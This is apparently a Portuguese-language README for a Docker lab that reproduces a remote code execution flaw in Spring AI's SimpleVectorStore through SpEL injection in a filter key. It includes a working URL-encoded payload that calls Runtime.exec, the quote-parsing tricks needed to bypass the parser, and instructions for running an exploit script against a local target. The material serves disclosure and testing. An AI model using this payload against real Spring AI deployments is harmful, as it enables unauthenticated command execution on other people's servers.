
# Injeção de SpEL via Chave de Filtro Não Escapada no SimpleVectorStore Leva à Execução Remota de Código
| Artifact | Versões Afetadas | Versão Corrigida |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Nota: Este projeto utiliza a versão estável spring-ai-core:1.0.0 para reprodução da vulnerabilidade.
Commit de correção: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
O método SimpleVectorStore.similaritySearch() repassa o nome da chave do filtro fornecido pelo usuário diretamente para o template SpEL, que é avaliado pelo StandardEvaluationContext. Como o StandardEvaluationContext expõe a API completa de reflexão da JVM, um atacante pode injetar:
T(java.lang.Runtime).getRuntime().exec(...)
Adicionando a chave do filtro para implementar execução de comandos do sistema operacional não autenticada.
Use o seguinte payload, observando que é necessária uma codificação de URL
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
Envie o payload para o parâmetro filterKey e a calculadora será aberta com sucesso

O método de injeção simples não funciona diretamente — é necessário superar duas peculiaridades do parser:
Remoção de aspas simples — Chaves que começam com aspas simples ' são tratadas como strings entre aspas; as aspas externas são removidas, quebrando o payload.
Wrapper de aspas duplas — Envolver o payload em aspas duplas "..." faz com que o parser remova as aspas duplas externas, preservando a expressão SpEL interna como o valor da chave passado para o parser #metadata['<KEY>'].
Chave de metadados vazia — Usar #metadata[''] em ambos os lados da expressão injetada (em vez de uma variável indefinida) evita o erro de variável desconhecida do SpEL, enquanto ainda aciona o exec().
A expressão calculada tem a seguinte forma:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
O corpo da resposta HTTP conterá o erro de runtime SpEL EL1030E:
operator ADD not supported between null and java.lang.ProcessImpl
Este erro é gerado após o retorno do exec(), confirmando a execução do comando no nível do sistema operacional, sem necessidade de callback externo.
pip install requests)# Construir e iniciar os contêineres
docker compose up -d --build
# Visualizar os logs
docker compose logs -f
# Instalar dependências
pip install requests
# Executar a exploração (aguardar a aplicação iniciar)
python3 exploit.py --wait
# Ou especificar o alvo
python3 exploit.py --target http://localhost:8082 --wait
| Flag | Valor Padrão | Descrição |
|---|---|---|
--target | http://localhost:8082 | URL base da aplicação vulnerável |
--wait | desativado | Faz polling até o alvo estar pronto (útil após docker compose up) |
Nota: Docker Desktop (macOS/Windows) usa host.docker.internal para callbacks; o payload 127.0.0.1 funciona.
O fluxo da prova de conceito consiste em cinco etapas sequenciais:
java.version via T(java.lang.System)touch /tmp/pwned_cve_2026_22738 dentro do contêinerid // uname // hostname em /tmp/rce_proof.txtdocker exec├── Dockerfile # Arquivo de build do Docker
├── docker-compose.yml # Configuração do Docker Compose
├── pom.xml # Configuração do projeto Maven
├── settings.xml # Configurações do Maven (inclui repositórios Spring)
├── exploit.py # Script de exploração
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Classe principal do Spring Boot
├── VulnController.java # Controlador vulnerável
├── VectorStoreConfig.java # Configuração do VectorStore
└── DummyEmbeddingModel.java # Modelo de Embedding simulado
# Compilar o projeto
mvn clean package -DskipTests
# Executar a aplicação
java -jar target/spel-rce-lab-1.0.0.jar
# Executar a exploração em outro terminal
python3 exploit.py --target http://localhost:8082